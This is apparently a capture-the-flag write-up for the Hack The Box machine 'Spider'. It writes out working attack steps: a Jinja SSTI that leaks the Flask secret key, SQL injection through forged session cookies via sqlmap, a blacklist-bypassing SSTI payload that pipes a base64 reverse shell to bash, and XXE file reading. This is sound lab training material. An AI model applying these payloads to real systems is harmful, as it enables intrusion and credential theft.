User
As always let’s run nmap to check what ports are open, here is the output:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
| 256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7๐d1:cc (ECDSA)
|_ 256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to Zeta Furniture.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The web page is a furniture shop:
Ran a subdirectory fuzzer but didn’t found anything interesting:
ffuf -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-directories.txt -u http://spider.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://spider.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-directories.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
login [Status: 200, Size: 1832, Words: 442, Lines: 78]
register [Status: 200, Size: 2130, Words: 551, Lines: 86]
user [Status: 302, Size: 219, Words: 22, Lines: 4]
logout [Status: 302, Size: 209, Words: 22, Lines: 4]
index [Status: 200, Size: 11273, Words: 4402, Lines: 256]
view [Status: 302, Size: 219, Words: 22, Lines: 4]
main [Status: 302, Size: 219, Words: 22, Lines: 4]
[Status: 200, Size: 11273, Words: 4402, Lines: 256]
Doesn’t look that there is anything hidden, so let’s check all available endpoints. So here is the list of functionalities (with user input):
- User Registration (username with 10 chars maximum and password)
- User login (user UUID and password)
- checkout (email)
- cart (product,amount)
- profile (requires being logged)
Additionally there is an admin page that we can’t access, so our goal may be to access it.
So started by testing if there is any reflected field in the user after registration and found a small html injection with <u>a</u>
as username. However wasn’t able to do anything else mainly because the username length limit.
Afterwards tried STTI with user {{7*7}}
, when we check the profile page, voilรก:
But we keep having a 10 character limit, so checked some common payloads and there is one that fits within the char limit {{config}}
, when we open the profile page again here is what we get:
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'RATELIMIT_ENABLED': True, 'RATELIMIT_DEFAULTS_PER_METHOD': False, 'RATELIMIT_SWALLOW_ERRORS': False, 'RATELIMIT_HEADERS_ENABLED': False, 'RATELIMIT_STORAGE_URL': 'memory://', 'RATELIMIT_STRATEGY': 'fixed-window', 'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset', 'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining', 'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit', 'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After', 'UPLOAD_FOLDER': 'static/uploads'}>
Now we have the secret key so we can use that to craft our own cookies with flask-unsign
, before anything else let’s check what’s inside the cookies:
flask-unsign --decode --cookie eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6ImNlNGRiODY4LTFhNDgtNDdhYS1hMDAwLWJhNDE4Zjc0MWFhZCJ9.YNxJFA.uLrzuDHUELYwf4O2GEfGP_Xi5QI
{'cart_items': [], 'uuid': 'ce4db868-1a48-47aa-a000-ba418f741aad'}
We don’t have cart items yet, so let’s test how it works. When we add an item to the cart it’s added to the cart inside the cookie. When we check /cart
we can see the products that are inside the cookie. For instance we can try it out by adding a product that doesn’t exist (9 for instance) and we get an empty cart, but still shows the cart product amount as 1:
Then tried a small sql injection payload:
flask-unsign --sign --cookie "{'cart_items': ['9 Or 1#'], 'uuid': '4caff84b-3e47-4f3a-bfb1-e055b08142a2'}" --secret "Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942"
eyJjYXJ0X2l0ZW1zIjpbIjkgT3IgMSMiXSwidXVpZCI6IjRjYWZmODRiLTNlNDctNGYzYS1iZmIxLWUwNTViMDgxNDJhMiJ9.YNxWnw.LgjoLXT23qLjyklH5IWlKXYXOL0
When I check the cart after updating the cookie, here is the result:
It seems vulnerable to sqli injection so let’s try to exploit it using sqlmap
. To do so first we need to create a tamper module for sqlmap, which is modify how sqlmap uses the payload. In this case we are going to craft a flask cookie with the payload inside. Something like this:
|
|
After enumerating the database structure dumped the admin user:
sqlmap -u http://spider.htb/cart --cookie "session=*" --tamper tamper.py --delay 1 --batch -T users -D shop --dump
From the users table we have the plain text of the user and his uid:
[1 entry]
+----+--------------------------------------+------+-----------------+
| id | uuid | name | password |
+----+--------------------------------------+------+-----------------+
| 1 | 129f60ea-30cf-4065-afb9-6be45ad38b73 | chiv | ch1VW4sHERE7331 |
+----+--------------------------------------+------+-----------------+
Unfortunately we are not allow to connect using ssh with that password. Let’s see what’s inside the admin panel:
In the message board (/view?check=messages
) there is a hint of another portal:
It’s a form to open a support ticket (they can be viewed on the admin panel). At this point tried STTI since the profile was also vulnerable and here there is no size limit. This time was blocking some special characters:
Here is the list of the blacklisted strings:
if
{{
_
.
'
Then found this post that teaches how to bypass common STTI blacklists.
The first thing needed to be done was to execute anything. The main approaches {{}}
and {% if %}
couldn’t be used. Luckily in that post there was a payload using {%print%}
. The payload {%print(7+7)%}
worked just fine. We now need to go from there to rce.
Didn’t want to deal with module array positions so searched for a more general approach and found this post from one of the machine’s authors.
Right now I want to execute the following payload:
request.application.__globals__.__builtins__.__import__('os').popen('id').read()
We can’t use '
but "
aren’t blacklisted so that’s easy to evade. Then we also need to change all .
with [
. The one that was harder to bypass was _
, after some time read python sandbox bypass from hacktricks and they mention using hexadecimal. Here is the final payload:
{%print(request["application"]["\x5f\x5f"+"globals"+"\x5f\x5f"]["\x5f\x5f"+"builtins"+"\x5f\x5f"]["\x5f\x5f"+"import"+"\x5f\x5f"]("os")["popen"]("id")["read"]())%}
Now we need to execute a reverse shell:
{%print(request["application"]["\x5f\x5f"+"globals"+"\x5f\x5f"]["\x5f\x5f"+"builtins"+"\x5f\x5f"]["\x5f\x5f"+"import"+"\x5f\x5f"]("os")["popen"]("echo -n <BASE64-PAYLOAD> | base64 -d | bash")["read"]())%}
Remember to include
-n
on the echo, for some reason it’s adding new lines and the reverse shell wasn’t working without it.
Root
Before anything else tried to log in with the credentials leaked in the database without success.
Then enumerating the system open ports stood out:
netstat -tulpn
(No info could be read for "-p": geteuid()=1000 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
There is a port listening on localhost, so used SSH to redirect that port to my host:
ssh -i id_rsa -L 8000:localhost:8080 chiv@spider.htb
Here is the page login:
After you log in there is new shopping cart:
If we take a look at the cookies, here is what the cookies look like:
flask-unsign --decode --cookie .eJw9jU1PhDAARP-K6dkD1fUgyV4aWhAFbKEty63QTfgo3aokIJv970I28Th5M_OuwCyjAf4VPNTABxynROOloEMsmJysGKE8y-S3jqpOcXIoQoc0hwEtWSIC9sFx-67Ht5XnU7Bxm_MUZcRFrEfVzvdceSagUsfUw4eKtFkdplMq205A_i2FJhmeV2GdkthBKZqlJsjWT3v__rft8TlCfVKYixyapQnjrzTSlK5mPq34RW2-pESd6v99WD9XinmnWQrq5RAFWWm6pB9mHjavn_R4BLdH4C6dnX6A793-APTrVkI.YNx6OA.6v2CoYEgs_x8HgnsHH4Jgw7d1LQ
{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+YWE8L3VzZXJuYW1lPgogICAgICAgIDxpc19hZG1pbj4wPC9pc19hZG1pbj4KICAgIDwvZGF0YT4KPC9yb290Pg==', 'points': 0}
Inside the cookie there is an xml document:
echo PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+YWE8L3VzZXJuYW1lPgogICAgICAgIDxpc19hZG1pbj4wPC9pc19hZG1pbj4KICAgIDwvZGF0YT4KPC9yb290Pg== | base64 -d
<!-- API Version 1.0.0 -->
<root>
<data>
<username>aa</username>
<is_admin>0</is_admin>
</data>
</root>
At this point inmediately thought of XXE. However, couldn’t manage to exploit it only injecting data in the middle of the xml document.
Then look for other parameters in case there is other vulnerability, here is the request:
So we can inject the version from the comment on the top. let’s test XXE now, here is the XXE request:
Nice we get Pwned in the username field. Now we can just read any file:
Here is the output inside the HTML: